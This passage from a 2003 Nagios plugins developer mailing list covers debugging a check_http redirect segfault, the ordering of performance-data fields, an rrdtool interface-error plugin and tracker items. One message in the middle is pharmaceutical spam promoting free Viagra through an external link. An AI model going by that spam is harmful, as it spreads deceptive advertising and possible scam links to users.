issue. However, if you want the patch integrated, it will happen sooner if diff is against CVS HEAD > I think I've made a new patch few weeks ago to correct the loop problem > with IIS: > [ 778644 ] check_http cookies and keep-alive support > > Sorry if new patch is broken again. ;( > > Dmitri > > -----Original Message----- > From: Voon, Ton [mailto:Ton.Voon at egg.com] > Sent: Friday, August 22, 2003 6:15 AM > To: 'Karl DeBisschop' > Cc: 'nagiosplug-devel at lists.sf.net' > Subject: RE: [Nagiosplug-devel] check_http bug > > > On Fri, 2003-08-22 at 06:16, Voon, Ton wrote: > > > Karl, > > > > > > I seem to have a problem with the CVS HEAD version of > > check_http, but I > > > can't find a fix. This works okay on r130, but was failing > > before the > > > endless redirection loop change. Don't know exactly which > > version introduced > > > the problem. > > > > > > On SunOS 5.6, if I run check_http against www.egg.com > > (through a proxy, but > > > also fails on internal test machines), there is a coredump. > > > > > > Here's the output: > > > ----- > > > $ ./check_http -v -H localhost -p 5865 -u http://www.egg.com/ > > > --onredirect=follow option f:4 > > > http://localhost:5865http://www.egg.com/ is 213 characters > > > STATUS: HTTP/1.1 301 Unknown reason > > > **** HEADER **** > > > Via: 1.1 PNNPXP01, 1.1 PNNPXP02 > > > Connection: close > > > Content-Length: 0 > > > Date: Fri, 22 Aug 2003 09:58:03 GMT > > > Server: Netscape-Enterprise/3.6 SP3 > > > Location: http://new.egg.com/newegg > > > **** CONTENT **** > > > > > > http://new.egg.com:80/newegg is 310 characters > > > STATUS: HTTP/1.1 302 Moved Temporarily > > > **** HEADER **** > > > Server: Netscape-Enterprise/4.1 > > > Date: Fri, 22 Aug 2003 09:58:04 GMT > > > Set-Cookie: ssuid=Maz84g00nVM0000EfQnFb643Kf; path= /; > > expires=Saturday, > > > 06-Sep-2014 23:50:08 GMT > > > Location: http://new.egg.com/visitor/0,,3_11060--View_819,00.html > > > Content-length: 0 > > > Connection: close > > > **** CONTENT **** > > > > > > Segmentation Fault(coredump) > > > > > > ----- > > > > > > With a truss I get (tail last lines): > > > ----- > > > write(1, " h t t p : / / l o c a l".., 59) = 59 > > > STATUS: HTTP/1.1 301 Unknown reason > > > write(1, " S T A T U S : H T T P".., 36) = 36 > > > **** HEADER **** > > > Via: 1.1 PNNPXP01, 1.1 PNNPXP02 > > > Connection: close > > > Content-Length: 0 > > > Date: Fri, 22 Aug 2003 09:58:34 GMT > > > Server: Netscape-Enterprise/3.6 SP3 > > > Location: http://new.egg.com/newegg > > > **** CONTENT **** > > > > > > write(1, " * * * * H E A D E R ".., 217) = 217 > > > open64("/etc/.name_service_door", O_RDONLY) = 3 > > > fcntl(3, F_SETFD, 0x00000001) = 0 > > > door_info(3, 0xEF62BD60) = 0 > > > door_call(3, 0xEFFFD458) = 0 > > > so_socket(2, 2, 0, "", 1) = 4 > > > connect(4, 0x00032708, 16) = 0 > > > send(4, " G E T / n e w e g g ".., 96, 0) = 96 > > > recv(4, " H T T P / 1 . 1 3 0 2".., 1023, 0) = 310 > > > recv(4, 0x00031D44, 1023, 0) = 0 > > > close(4) = 0 > > > alarm(0) = 0 > > > http://new.egg.com:80/newegg is 310 characters > > > write(1, " h t t p : / / n e w . e".., 47) = 47 > > > STATUS: HTTP/1.1 302 Moved Temporarily > > > write(1, " S T A T U S : H T T P".., 39) = 39 > > > **** HEADER **** > > > Server: Netscape-Enterprise/4.1 > > > Date: Fri, 22 Aug 2003 09:58:35 GMT > > > Set-Cookie: ssuid=Maz82w00gRo00018fQnFiNT3x3; path= /; > > expires=Saturday, > > > 06-Sep-2014 23:50:08 GMT > > > Location: http://new.egg.com/visitor/0,,3_11060--View_819,00.html > > > Content-length: 0 > > > Connection: close > > > **** CONTENT **** > > > > > > write(1, " * * * * H E A D E R ".., 311) = 311 > > > door_info(3, 0xEFFFD340) = 0 > > > door_call(3, 0xEFFFD328) = 0 > > > so_socket(2, 2, 0, "", 1) = 4 > > > connect(4, 0x00032738, 16) = 0 > > > Incurred fault #6, FLTBOUNDS %pc = 0xEF5C7020 > > > siginfo: SIGSEGV SEGV_MAPERR addr=0x2E6BD07C > > > Received signal #11, SIGSEGV [default] > > > siginfo: SIGSEGV SEGV_MAPERR addr=0x2E6BD07C > > > *** process killed *** > > > ----- > > > > > > I have narrowed the problem down to line 500 in check_http.c: > > > asprintf (&buf, "%s %s HTTP/1.0\r\n", http_method, server_url); > > > > > > But I can't see anything wrong with it (in fact, the line > > is the same from > > > r130). Also a check_http to the redirected url is okay. > > I've tried a buf = > > > strdup(""), but this didn't fix. Any ideas? > > > > I ran across the error when I was working on the redirection loop > > limits. In my test cases, it was fixed by my changes. > > > > But I did not find a bug and fix it - it was a side effect. > > > > I don't see the problem in the current code either, butit is quite > > obviously there. Is there some URL I can use to run this against so I > > can try and debug it? > > > > -- > > Karl > > > > I think you should be able to recreate it with check_http -H www.egg.com > -u / --onredirect=follow > > I can't check this out because of the firewall at work. > > Ton > > > This private and confidential e-mail has been sent to you by Egg. > The Egg group of companies includes Egg Banking plc (registered no. > 2999842), Egg Financial Products Ltd (registered no. 3319027) and Egg > Investments Ltd (registered no. 3403963) which carries out investment > business on behalf of Egg and is regulated by the Financial Services > Authority. > Registered in England and Wales. Registered offices: 1 Waterhouse > Square, > 138-142 Holborn, London EC1N 2NA. > If you are not the intended recipient of this e-mail and have received > it in error, please notify the sender by replying with 'received in > error' as the subject and then delete it from your mailbox. > > > > ------------------------------------------------------- > This SF.net email is sponsored by: VM Ware With VMware you can run > multiple operating systems on a single machine. > WITHOUT REBOOTING! Mix Linux / Windows / Novell virtual machines at the > same time. Free trial click here:http://www.vmware.com/wl/offer/358/0 > _______________________________________________ > Nagiosplug-devel mailing list > Nagiosplug-devel at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagiosplug-devel > ::: Please include plugins version (-v) and OS when reporting any issue. > > ::: Messages without supporting info will risk being sent to /dev/null > > > ------------------------------------------------------- > This SF.net email is sponsored by: VM Ware > With VMware you can run multiple operating systems on a single machine. > WITHOUT REBOOTING! Mix Linux / Windows / Novell virtual machines > at the same time. Free trial click here:http://www.vmware.com/wl/offer/358/0 > _______________________________________________ > Nagiosplug-devel mailing list > Nagiosplug-devel at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagiosplug-devel > ::: Please include plugins version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Fri Aug 22 16:41:13 2003 From: karl at debisschop.net (Karl DeBisschop) Date: Fri Aug 22 16:41:13 2003 Subject: [Nagiosplug-devel] check_http bug In-Reply-To: References: Message-ID: <1061595497.4321.3.camel@miles.debisschop.net> On Fri, 2003-08-22 at 09:14, Voon, Ton wrote: > > On Fri, 2003-08-22 at 06:16, Voon, Ton wrote: > > > Karl, > > > > > > I seem to have a problem with the CVS HEAD version of > > check_http, but I > > I don't see the problem in the current code either, but it is quite > > obviously there. Is there some URL I can use to run this against so I > > can try and debug it? > > > > -- > > Karl > > > > I think you should be able to recreate it with > check_http -H www.egg.com -u / --onredirect=follow That generates the error - I'll try and look at it from here, see what I can find. -- Karl From karl at debisschop.net Sat Aug 23 08:04:12 2003 From: karl at debisschop.net (Karl DeBisschop) Date: Sat Aug 23 08:04:12 2003 Subject: [Nagiosplug-devel] check_http bug In-Reply-To: References: Message-ID: <1061647401.13990.5.camel@miles.debisschop.net> On Fri, 2003-08-22 at 09:14, Voon, Ton wrote: > > On Fri, 2003-08-22 at 06:16, Voon, Ton wrote: > > > Karl, > > > > > > I seem to have a problem with the CVS HEAD version of > > check_http, but I > > > can't find a fix. This works okay on r130, but was failing > > before the > > > endless redirection loop change. Don't know exactly which > > version introduced > > > the problem. > > I think you should be able to recreate it with > check_http -H www.egg.com -u / --onredirect=follow I have just committed a version that works. Probelm is, what makes it work is the introduction of a few 'if (verbose) printf ...' statements in check_http (line 478 and line 518). If I comment those out, it segfaults again. I cannot for the life of me think how a print statement that's not even run could stop a segfault. And I expect it's not portable. But if anyone has seen that kind of strangeness before, feel free to pipe up. I do not consider this issue closed. -- Karl From karl at debisschop.net Sat Aug 23 10:21:07 2003 From: karl at debisschop.net (Karl DeBisschop) Date: Sat Aug 23 10:21:07 2003 Subject: [Nagiosplug-devel] check_http bug In-Reply-To: <1061647401.13990.5.camel@miles.debisschop.net> References: <1061647401.13990.5.camel@miles.debisschop.net> Message-ID: <1061656226.13990.9.camel@miles.debisschop.net> On Sat, 2003-08-23 at 10:03, Karl DeBisschop wrote: > On Fri, 2003-08-22 at 09:14, Voon, Ton wrote: > > > On Fri, 2003-08-22 at 06:16, Voon, Ton wrote: > > > > Karl, > > > > > > > > I seem to have a problem with the CVS HEAD version of > > > check_http, but I > > > > can't find a fix. This works okay on r130, but was failing > > > before the > > > > endless redirection loop change. Don't know exactly which > > > version introduced > > > > the problem. > > > > > I think you should be able to recreate it with > > check_http -H www.egg.com -u / --onredirect=follow > > I have just committed a version that works. Probelm is, what makes it > work is the introduction of a few 'if (verbose) printf ...' statements > in check_http (line 478 and line 518). > > If I comment those out, it segfaults again. > > I cannot for the life of me think how a print statement that's not even > run could stop a segfault. And I expect it's not portable. But if anyone > has seen that kind of strangeness before, feel free to pipe up. > > I do not consider this issue closed. Replying to mo own post... Found it, I think. Fix is committed. Runs successfullty using: env -i check_http ... LD_PRELOAD=libefenc.so check_http ... LD_PRELOAD=libnjamd.so check_http ... Give it a shot. -- Karl From karl at debisschop.net Sat Aug 23 22:25:23 2003 From: karl at debisschop.net (Karl DeBisschop) Date: Sat Aug 23 22:25:23 2003 Subject: [Nagiosplug-devel] Perf Data Formats Message-ID: <1061702586.17994.5.camel@miles.debisschop.net> We have this as of our last discussion: 'label'=value[UOM];[crit];[warn][;[max];[min]] As I start to implement these, I wonder why not: 'label'=value[UOM];[warn];[crit][;min][;max] I can easily think of cases where there is a minimum, but no maximum: time values. I am more hard pressed to thin of cases where there is a max but no min. So the second format seems more natural and would avoid time=8126us;10000;5000;;0 Was there a reason for putting the max ahead of the min? -- Karl From chaumaple525k at netscape.net Sun Aug 24 20:11:21 2003 From: chaumaple525k at netscape.net (Laura Ida Pauline) Date: Sun Aug 24 20:11:21 2003 Subject: [Nagiosplug-devel] nagiosplug-devel, First time offered on the web, F*R*E*E V*l*A*G*R*A, limited quantities Message-ID: Dear nagiosplug-devel at lists.sourceforge.net, For the first time on the web, we are offering V*l*A*G*R*A F*R*E*E! Yes, check out this Limited Time Offer: http://pharma-wholesale.24hhosting.com/ http://pharma-wholesale.24hhosting.com/remove.php to un-subscribe. From noreply at sourceforge.net Tue Aug 26 02:21:04 2003 From: noreply at sourceforge.net (SourceForge.net) Date: Tue Aug 26 02:21:04 2003 Subject: [Nagiosplug-devel] [ nagiosplug-Feature Requests-793234 ] Check_http follow issue Message-ID: Feature Requests item #793234, was opened at 2003-08-22 14:49 Message generated for change (Comment added) made by tonvoon You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=397600&aid=793234&group_id=29880 Category: None Group: None Status: Open Priority: 5 Submitted By: Derrick Bennett (moekyle) >Assigned to: Ton Voon (tonvoon) Summary: Check_http follow issue Initial Comment: This is a dumb problem. IIS webserver that sets a cookie then redirects to the actual homepage. Without the cookie being set you can't actually see the homepage making checks of the homepage fail. Need a way to grab the session cookie on a redirect page and re-send it on the next page. ---------------------------------------------------------------------- >Comment By: Ton Voon (tonvoon) Date: 2003-08-26 10:03 Message: Logged In: YES user_id=664364 Derrick, Can you suggest a web page which displays this behaviour? What is the command you are running? Which version of the check_http plugin? We have a patch submitted regarding cookie support which may fix your problem, but I'd like to make sure I can reproduce before patching. Ton ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=397600&aid=793234&group_id=29880 From Ton.Voon at egg.com Tue Aug 26 02:32:47 2003 From: Ton.Voon at egg.com (Voon, Ton) Date: Tue Aug 26 02:32:47 2003 Subject: [Nagiosplug-devel] Perf Data Formats Message-ID: I don't recall a specific reason and I think your way makes more sense. Shall I make the changes to the documentation? I was going to add more pedantic stuff like null values and optional thresholds. Ton > -----Original Message----- > From: Karl DeBisschop [mailto:karl at debisschop.net] > Sent: Sunday, August 24, 2003 6:23 AM > To: NagiosPlug Devel > Subject: [Nagiosplug-devel] Perf Data Formats > > > We have this as of our last discussion: > > 'label'=value[UOM];[crit];[warn][;[max];[min]] > > As I start to implement these, I wonder why not: > > 'label'=value[UOM];[warn];[crit][;min][;max] > > I can easily think of cases where there is a minimum, but no maximum: > time values. I am more hard pressed to thin of cases where there is a > max but no min. So the second format seems more natural and > would avoid > > time=8126us;10000;5000;;0 > > Was there a reason for putting the max ahead of the min? > > -- > Karl > > > ------------------------------------------------------- > This SF.net email is sponsored by: VM Ware > With VMware you can run multiple operating systems on a > single machine. > WITHOUT REBOOTING! Mix Linux / Windows / Novell virtual machines > at the same time. Free trial click > here:http://www.vmware.com/wl/offer/358/0 > _______________________________________________ > Nagiosplug-devel mailing list > Nagiosplug-devel at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagiosplug-devel > ::: Please include plugins version (-v) and OS when reporting > any issue. > ::: Messages without supporting info will risk being sent to /dev/null > This private and confidential e-mail has been sent to you by Egg. The Egg group of companies includes Egg Banking plc (registered no. 2999842), Egg Financial Products Ltd (registered no. 3319027) and Egg Investments Ltd (registered no. 3403963) which carries out investment business on behalf of Egg and is regulated by the Financial Services Authority. Registered in England and Wales. Registered offices: 1 Waterhouse Square, 138-142 Holborn, London EC1N 2NA. If you are not the intended recipient of this e-mail and have received it in error, please notify the sender by replying with 'received in error' as the subject and then delete it from your mailbox. From karl at debisschop.net Tue Aug 26 04:24:58 2003 From: karl at debisschop.net (Karl DeBisschop) Date: Tue Aug 26 04:24:58 2003 Subject: [Nagiosplug-devel] check_http bug In-Reply-To: References: Message-ID: <1061896278.1081.12.camel@miles.debisschop.net> On Tue, 2003-08-26 at 06:54, Voon, Ton wrote: > Karl, > > CVS latest works fine now. Thanks for that. > > What are the LD_PRELOAD .so files? I don't have them on Solaris. Open source analogs to purify -- much less powerful from what I'm told, but still rather useful. I have it on my todo list to do a full run-through with them after tha alpha goes out. -- Karl > Ton > > > -----Original Message----- > > From: Karl DeBisschop [mailto:karl at debisschop.net] > > Sent: Saturday, August 23, 2003 5:30 PM > > To: Ton Voon > > Cc: 'nagiosplug-devel at lists.sf.net' > > Subject: RE: [Nagiosplug-devel] check_http bug > > > > > > On Sat, 2003-08-23 at 10:03, Karl DeBisschop wrote: > > > On Fri, 2003-08-22 at 09:14, Voon, Ton wrote: > > > > > On Fri, 2003-08-22 at 06:16, Voon, Ton wrote: > > > > > > Karl, > > > > > > > > > > > > I seem to have a problem with the CVS HEAD version of > > > > > check_http, but I > > > > > > can't find a fix. This works okay on r130, but was failing > > > > > before the > > > > > > endless redirection loop change. Don't know exactly which > > > > > version introduced > > > > > > the problem. > > > > > > > > > > > I think you should be able to recreate it with > > > > check_http -H www.egg.com -u / --onredirect=follow > > > > > > I have just committed a version that works. Probelm is, > > what makes it > > > work is the introduction of a few 'if (verbose) printf ...' > > statements > > > in check_http (line 478 and line 518). > > > > > > If I comment those out, it segfaults again. > > > > > > I cannot for the life of me think how a print statement > > that's not even > > > run could stop a segfault. And I expect it's not portable. > > But if anyone > > > has seen that kind of strangeness before, feel free to pipe up. > > > > > > I do not consider this issue closed. > > > > Replying to mo own post... > > > > Found it, I think. > > > > Fix is committed. > > > > Runs successfullty using: > > > > env -i check_http ... > > LD_PRELOAD=libefenc.so check_http ... > > LD_PRELOAD=libnjamd.so check_http ... > > > > Give it a shot. > > > > -- > > Karl > > > > > This private and confidential e-mail has been sent to you by Egg. > The Egg group of companies includes Egg Banking plc > (registered no. 2999842), Egg Financial Products Ltd (registered > no. 3319027) and Egg Investments Ltd (registered no. 3403963) which > carries out investment business on behalf of Egg and is regulated > by the Financial Services Authority. > Registered in England and Wales. Registered offices: 1 Waterhouse Square, > 138-142 Holborn, London EC1N 2NA. > If you are not the intended recipient of this e-mail and have > received it in error, please notify the sender by replying with > 'received in error' as the subject and then delete it from your > mailbox. From karl at debisschop.net Tue Aug 26 06:51:34 2003 From: karl at debisschop.net (Karl DeBisschop) Date: Tue Aug 26 06:51:34 2003 Subject: [Nagiosplug-devel] Perf Data Formats In-Reply-To: References: Message-ID: <1061893512.1081.9.camel@miles.debisschop.net> On Tue, 2003-08-26 at 05:19, Voon, Ton wrote: > I don't recall a specific reason and I think your way makes more sense. OK. I have a function to print perfdata that will go in utils.c -- it takes a few more logic brancehs than it would seem at first, so that you bacically can't do it inside a die() [used to be terminate(), but was wrapping too many lines, so I shortened it]. I'll sync that in a few minutes. > Shall I make the changes to the documentation? I was going to add more > pedantic stuff like null values and optional thresholds. By all means, be pedantic. I've assumed that undefined elements are just blank, and that trailing unfilled semicolons may be dropped but do not have to be. So both of the following are OK: time=12000us;500000;1000000;0 time=12000us;500000;1000000;0; -- Karl > Ton > > > -----Original Message----- > > From: Karl DeBisschop [mailto:karl at debisschop.net] > > Sent: Sunday, August 24, 2003 6:23 AM > > To: NagiosPlug Devel > > Subject: [Nagiosplug-devel] Perf Data Formats > > > > > > We have this as of our last discussion: > > > > 'label'=value[UOM];[crit];[warn][;[max];[min]] > > > > As I start to implement these, I wonder why not: > > > > 'label'=value[UOM];[warn];[crit][;min][;max] > > > > I can easily think of cases where there is a minimum, but no maximum: > > time values. I am more hard pressed to thin of cases where there is a > > max but no min. So the second format seems more natural and > > would avoid > > > > time=8126us;10000;5000;;0 > > > > Was there a reason for putting the max ahead of the min? > > > > -- > > Karl > > > > > > ------------------------------------------------------- > > This SF.net email is sponsored by: VM Ware > > With VMware you can run multiple operating systems on a > > single machine. > > WITHOUT REBOOTING! Mix Linux / Windows / Novell virtual machines > > at the same time. Free trial click > > here:http://www.vmware.com/wl/offer/358/0 > > _______________________________________________ > > Nagiosplug-devel mailing list > > Nagiosplug-devel at lists.sourceforge.net > > https://lists.sourceforge.net/lists/listinfo/nagiosplug-devel > > ::: Please include plugins version (-v) and OS when reporting > > any issue. > > ::: Messages without supporting info will risk being sent to /dev/null > > > > > This private and confidential e-mail has been sent to you by Egg. > The Egg group of companies includes Egg Banking plc > (registered no. 2999842), Egg Financial Products Ltd (registered > no. 3319027) and Egg Investments Ltd (registered no. 3403963) which > carries out investment business on behalf of Egg and is regulated > by the Financial Services Authority. > Registered in England and Wales. Registered offices: 1 Waterhouse Square, > 138-142 Holborn, London EC1N 2NA. > If you are not the intended recipient of this e-mail and have > received it in error, please notify the sender by replying with > 'received in error' as the subject and then delete it from your > mailbox. From Ton.Voon at egg.com Tue Aug 26 07:16:12 2003 From: Ton.Voon at egg.com (Voon, Ton) Date: Tue Aug 26 07:16:12 2003 Subject: [Nagiosplug-devel] check_http bug Message-ID: Karl, CVS latest works fine now. Thanks for that. What are the LD_PRELOAD .so files? I don't have them on Solaris. Ton > -----Original Message----- > From: Karl DeBisschop [mailto:karl at debisschop.net] > Sent: Saturday, August 23, 2003 5:30 PM > To: Ton Voon > Cc: 'nagiosplug-devel at lists.sf.net' > Subject: RE: [Nagiosplug-devel] check_http bug > > > On Sat, 2003-08-23 at 10:03, Karl DeBisschop wrote: > > On Fri, 2003-08-22 at 09:14, Voon, Ton wrote: > > > > On Fri, 2003-08-22 at 06:16, Voon, Ton wrote: > > > > > Karl, > > > > > > > > > > I seem to have a problem with the CVS HEAD version of > > > > check_http, but I > > > > > can't find a fix. This works okay on r130, but was failing > > > > before the > > > > > endless redirection loop change. Don't know exactly which > > > > version introduced > > > > > the problem. > > > > > > > > I think you should be able to recreate it with > > > check_http -H www.egg.com -u / --onredirect=follow > > > > I have just committed a version that works. Probelm is, > what makes it > > work is the introduction of a few 'if (verbose) printf ...' > statements > > in check_http (line 478 and line 518). > > > > If I comment those out, it segfaults again. > > > > I cannot for the life of me think how a print statement > that's not even > > run could stop a segfault. And I expect it's not portable. > But if anyone > > has seen that kind of strangeness before, feel free to pipe up. > > > > I do not consider this issue closed. > > Replying to mo own post... > > Found it, I think. > > Fix is committed. > > Runs successfullty using: > > env -i check_http ... > LD_PRELOAD=libefenc.so check_http ... > LD_PRELOAD=libnjamd.so check_http ... > > Give it a shot. > > -- > Karl > This private and confidential e-mail has been sent to you by Egg. The Egg group of companies includes Egg Banking plc (registered no. 2999842), Egg Financial Products Ltd (registered no. 3319027) and Egg Investments Ltd (registered no. 3403963) which carries out investment business on behalf of Egg and is regulated by the Financial Services Authority. Registered in England and Wales. Registered offices: 1 Waterhouse Square, 138-142 Holborn, London EC1N 2NA. If you are not the intended recipient of this e-mail and have received it in error, please notify the sender by replying with 'received in error' as the subject and then delete it from your mailbox. From atonns at mail.ivillage.com Tue Aug 26 08:17:14 2003 From: atonns at mail.ivillage.com (atonns at mail.ivillage.com) Date: Tue Aug 26 08:17:14 2003 Subject: [Nagiosplug-devel] a plugin to check interface errors Message-ID: I have been able to solve my problems. Basically when the data is a COUNTER type (as ifInErrors and ifOuterrors are), rrdtool only stores rate information. In my case is was average number of errors in 10 minutes (as this was my step value). Thus, to psuedo-calculate the number of errors, just multiply the rate by the step (ie: # of err/sec * sec = # of err). Of course, it's an approximation based on the average - but it should accurately determine if there's a problem with the interface. So finally, my plugin runs as such: Usage: check_remote_interfaces -H hostname -w=count,seconds -c=rate,minutes Usage: check_remote_interfaces --hostname=hostname --warning=count,seconds --critical=rate,minutes [-v|--verbose -V|--version -h|--help] The plugin will return warning if there are at least "count" errors in the last "seconds" (ie: I'm using -w5,1800 - so it's a total of 5 errors within the last 30 minutes) or return critical if the error rate is "rate" in the last "minutes" (ie: I'm using -c 3,180 - so it's an error rate of 3 per minute over the last 3 hours). The only value I've 'hard coded' (and could easily make a cmdline option) is the expected interval of how often data is collected - ie: the rrd step value. This would normally be the value in "normal_check_interval", but since that isn't available as a macro it has to be user-input. Finally, my weird float/int problem was due to the fact that I had invalid rrd data. I was trying to create fake data to simulate interface errors, and since my scripts updates the data as well as analyzing it, it was updating with bad data. Basically, since interface errors are a counter type, once X errors have occurred, the counter will always be X or greater (if there are more errors) until the counter rolls over the 32bit/64bit integer. Since I was simulating errors, and then making a real reading (ie: currently 0 errors) it was assuming I rolled the counter and hence my wacky value. This presents a problem on how to handle "normal" counter reset events - ie: the rebooting of machine or running the "clear counters" command on a router. I've yet to work this out. Tony P.S. I looks like check_rrdtool-0.3.pl (I assume from this page: http://www.nachtwache.org/projects/netsaint/plugins/) only checks data of type GAUGE (ie: CPU) and not of type COUNTER (ie: ifInErrors, ifOutErrors, etc). You'd need to make a call to "rrdtool info filename.rrd" and look at the value 'ds[a].type = "GAUGE"', and then modify the calculations appropriately. -- "Computer science is as much about computers as astronomy is about telescopes" -- Edsger Dijkstra --------------------------------------------------------- Anthony Tonns, UNIX Administrator - atonns at mail.ivillage.com > -----Original Message----- > From: Michael Markstaller [mailto:mm at elabnet.de] > Sent: Thursday, August 14, 2003 11:57 AM > To: nagiosplug-devel at lists.sourceforge.net > Subject: RE: [Nagiosplug-devel] a plugin to check interface errors > > > I already tried the same with some similar approaches but failed. > The data collection for mine into the rrd's is done by mrtg, > then using the somehow only "very little working" > check_rrdtool-0.3.pl to check the threshold. It works for my > CPU-rrds but not for iferrors somehow.. > > I'd really appreciate if there'd be a _working_ check_rrd in > future as with such a plugin several of these checks could be > performed very easy. > > Michael > > -----Original Message----- > From: atonns at mail.ivillage.com [mailto:atonns at mail.ivillage.com] > Sent: Thursday, August 14, 2003 4:40 PM > To: nagiosplug-devel at lists.sourceforge.net > Subject: [Nagiosplug-devel] a plugin to check interface errors > > > I'm wondering if someone has written a plugin to check for interface > errors. > I have already looked at check_ifoperstatus and > check_ifstatus - and I've > already got my own versions of them for SNMPv3. > > What I'm looking for is a way to detect interface errors. > I've got some > perl > code I'm still working on, but the data storage is killing > me. To explain: > > Basically, I'm walking the MIBs 1.3.6.1.2.1.2.2.1.14 (ifInErrors) and > 1.3.6.1.2.1.2.2.1.20 (ifOutErrors) every 10 minutes and > storing them each > in > an different rrd (a file named $hostname-$ifDescr.rrd). Then, I'm rrd > fetching the last 60 minutes worth of data - if there's at least > $warning_cnt errors in that time period, return warning. > Finally, I'm rrd > fetching the last 180 minutes (3 hrs) worth of data - if > there's an error > rate of at least $critical_rate per minute, return critical. > > I'm having problems with storing the rrd data with the RRDs > perl module - > I'm trying to simulate the data by pre-populating a rrd file > with errors, > and I'm getting a floating point results (instead of int). I'm using > RRDtool > 1.0.45. FWIW, my RRD create looks like this: > > RRDs::create ( $filename, > "--start", $now - 60, > "--step", "600", > "DS:ifInErrors:COUNTER:600:U:U", > "DS:ifOutErrors:COUNTER:600:U:U", > "RRA:MAX:0.5:1:600", > "RRA:MAX:0.5:1:150", > ); > > Summary: > > 1) Has anyone written a plugin to check interface errors? > 2) Has anyone had strange problems with RRDs and float/int problems? > > Thanks > Tony > > -- > "Computer science is as much about computers as > astronomy is about telescopes" -- Edsger Dijkstra > --------------------------------------------------------- > Anthony Tonns, UNIX Administrator - atonns at mail.ivillage.com > > > --- auto-converted to plaintext by ELAB4 > > > > ------------------------------------------------------- > This SF.Net email sponsored by: Free pre-built ASP.NET sites including > Data Reports, E-commerce, Portals, and Forums are available now. > Download today and enter to win an XBOX or Visual Studio .NET. > http://aspnet.click-url.com/go/psa00100003ave/direct;at.aspnet > _072303_01/01 > _______________________________________________ > Nagiosplug-devel mailing list > Nagiosplug-devel at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagiosplug-devel > ::: Please include plugins version (-v) and OS when reporting > any issue. > ::: Messages without supporting info will risk being sent to /dev/null > From karl at debisschop.net Wed Aug 27 20:11:01 2003 From: karl at debisschop.net (Karl DeBisschop) Date: Wed Aug 27 20:11:01 2003 Subject: [Nagiosplug-devel] remaining items for 1.4.0 alpha Message-ID: <1062040165.14667.21.camel@miles.debisschop.net> 1) Performance Data I think we have had the needed discussions, and the new perfdata() function does seem a workable means of implementing performance data output in a standard way. In particular, without a function like this, the die() function would be a lot less useful than it is. So we are at a point where if anyone wants to grab a plugin and and perfdata, they should. I am working on check_disk at the moment. 2) Internationalization The text is marked up for translation. None of the volunteers for doing the translation have gotten back to me yet. If I'm not mistaken, a lot of Europe is on vacation at the moment, so it would not be surprising if I got responses soon. If not, we can use Google translations for a first pass. 3) Documentation We are still far from any complete embedded documentaion solution. Would people like to run the plugin outputthrough help2man to create standard man pages? Most of the required work would be in the Makefile(s). In any case, we should make an index of the core plugins and their functions. Volunteers? 4) Test Suite The existing test suite suffers extensive bit rot. I plan to address that before we move from alpha to beta. Anything else to complete before alpha? -- Karl From noreply at sourceforge.net Thu Aug 28 06:18:05 2003 From: noreply at sourceforge.net (SourceForge.net) Date: Thu Aug 28 06:18:05 2003 Subject: [Nagiosplug-devel] [ nagiosplug-New Plugins-796661 ] test if a soap server is running Message-ID: New Plugins item #796661, was opened at 2003-08-28 13:17 Message generated for change (Tracker Item Submitted) made by Item Submitter You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=541465&aid=796661&group_id=29880 Category: Perl plugin Group: None Status: Open Resolution: None Priority: 5 Submitted By: Minati jean-michel (mr_magnet) Assigned to: Nobody/Anonymous (nobody) Summary: test if a soap server is running Initial Comment: this plugin is used to test if a apache server running soap cgi , is working. there are 2 tests, one is a basic http POST (user supplied , the other is a call to a soap method( user supplied ). ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=541465&aid=796661&group_id=29880 From noreply at sourceforge.net Thu Aug 28 06:19:05 2003 From: noreply at sourceforge.net (SourceForge.net) Date: Thu Aug 28 06:19:05 2003 Subject: [Nagiosplug-devel] [ nagiosplug-New Plugins-796661 ] New plugin : Apache/SOAP. Message-ID: New Plugins item #796661, was opened at 2003-08-28 13:17 Message generated for change (Settings changed) made by mr_magnet You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=541465&aid=796661&group_id=29880 Category: Perl plugin Group: None Status: Open Resolution: None Priority: 5 Submitted By: Minati jean-michel (mr_magnet) Assigned to: Nobody/Anonymous (nobody) >Summary: New plugin : Apache/SOAP. Initial Comment: this plugin is used to test if a apache server running soap cgi , is working. there are 2 tests, one is a basic http POST (user supplied , the other is a call to a soap method( user supplied ). ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=541465&aid=796661&group_id=29880 From noreply at sourceforge.net Thu Aug 28 07:08:09 2003 From: noreply at sourceforge.net (SourceForge.net) Date: Thu Aug 28 07:08:09 2003 Subject: [Nagiosplug-devel] [ nagiosplug-Bugs-796698 ] Output string - spelling correction Message-ID: Bugs item #796698, was opened at 2003-08-28 14:07 Message generated for change (Tracker Item Submitted) made by Item Submitter You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=397597&aid=796698&group_id=29880 Category: None Group: None Status: Open Resolution: None Priority: 5 Submitted By: Brian Snead (bsnead) Assigned to: Nobody/Anonymous (nobody) Summary: Output string - spelling correction Initial Comment: The current 1.3.1 release of nagios plugins has "received" spelled incorrectly in several plugins. One is check_snmp. The incorrect spelling is "recieved". Plugins where it needs to be corrected: - check_snmp.c - negate.c - netutils.c - urlize.c This is easy enough to change on my end, but every new release will uncorrect it. Thanks Brian. ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=397597&aid=796698&group_id=29880 From noreply at sourceforge.net Thu Aug 28 07:51:12 2003 From: noreply at sourceforge.net (SourceForge.net) Date: Thu Aug 28 07:51:12 2003 Subject: [Nagiosplug-devel] [ nagiosplug-Bugs-796698 ] Output string - spelling correction Message-ID: Bugs item #796698, was opened at 2003-08-28 10:07 Message generated for change (Comment added) made by sghosh You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=397597&aid=796698&group_id=29880 Category: None Group: None Status: Open Resolution: None Priority: 5 